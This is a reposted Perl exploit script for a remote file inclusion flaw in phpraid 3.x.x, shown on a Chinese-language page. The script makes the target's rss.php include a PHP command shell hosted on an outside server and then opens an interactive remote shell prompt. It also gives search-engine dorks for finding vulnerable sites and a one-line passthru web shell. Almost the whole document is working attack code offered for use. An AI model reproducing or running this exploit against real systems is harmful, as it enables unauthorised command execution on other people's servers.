注册
登录
| 关键词： print return phpraid http cmd path shell command com pathtocmd |
#!/usr/bin/perl # phpraid <= 3.x.x (rss.php) remote file inclusion exploit # download script : http://up.9q9q.net/up/index.php?f=994a86950 # founded & coded by: cold z3ro , [email protected] # dork : inurl:"phpraid" , "phpraid" , "roster.php?sort=race" # perl cold-z3ro.pl <target> <cmd shell location> <cmd shell variable> # cmd shell example: <?passthru($_get[cmd]);?> # exploit : http://www.example.com/phpraid_path/rss.php?phpraid_dir=evil-script? ## use lwp::useragent; $path = $argv[0]; $pathtocmd = $argv[1]; $cmdv = $argv[2]; if($path!~/http:\/\// || $pathtocmd!~/http:\/\// || !$cmdv){usage()} head(); while() { print "[shell] \$"; while(<stdin>) { $cmd=$_; chomp($cmd); $xpl = lwp::useragent->new() or die; $req = http::request->new(get =>$path.'rss.php?phpraid_dir='.$pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\ncould not connect\n"; $res = $xpl->request($req); $return = $res->content; $return =~ tr/[\n]/[....]/; if (!$cmd) {print "\nplease enter a command\n\n"; $return ="";} elsif ($return =~/failed to open stream: http request failed!/ || $return =~/: cannot execute a blank command in <b>/) {print "\ncould not connect to cmd host or invalid command variable\n";exit} elsif ($return =~/^<br.\/>.<b>fatal.error/) {print "\ninvalid command or no return\n\n"} if($return =~ /(.*)/) { $finreturn = $1; $finreturn=~ tr/[....]/[\n]/; print "\r\n$finreturn\n\r"; last; } else {print "[shell] \$";}}}last; sub head() { print "\n======================long life my home land palestine======================\r\n"; print "\r\n"; print " * phpraid <= 3.x.x (rss.php) remote file inclusion exploit *\r\n"; print "\r\n"; print "============================================================================\r\n"; } sub usage() { head(); print "\r\n"; print " usage: perl cold-z3ro.pl <victim> <cmd shell location> <cmd shell variable>\r\n\n"; print " <victim> - full path to example: http://www.site.com/phpraid/ \r\n"; print " <cmd shell> - path to cmd shell e.g http://b0rizq.by.ru/c99.txt? \r\n"; print " <cmd variable> - cmd variable used in php shell like [ id ]\r\n"; print "\r\n"; print "============================================================================\r\n"; print "\r\n"; print " found and coded by cold z3ro \r\n"; print " cold-z3ro[at]hotmail[dot]com \r\n"; print " greetz to: www.milw0rm.com , www.hack-teach.com , www.4azhar.com \r\n"; print " dork : inurl:phpraid , /roster.php?sort=race\r\n"; print "\r\n"; print "============================================================================\r\n"; exit(); } |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
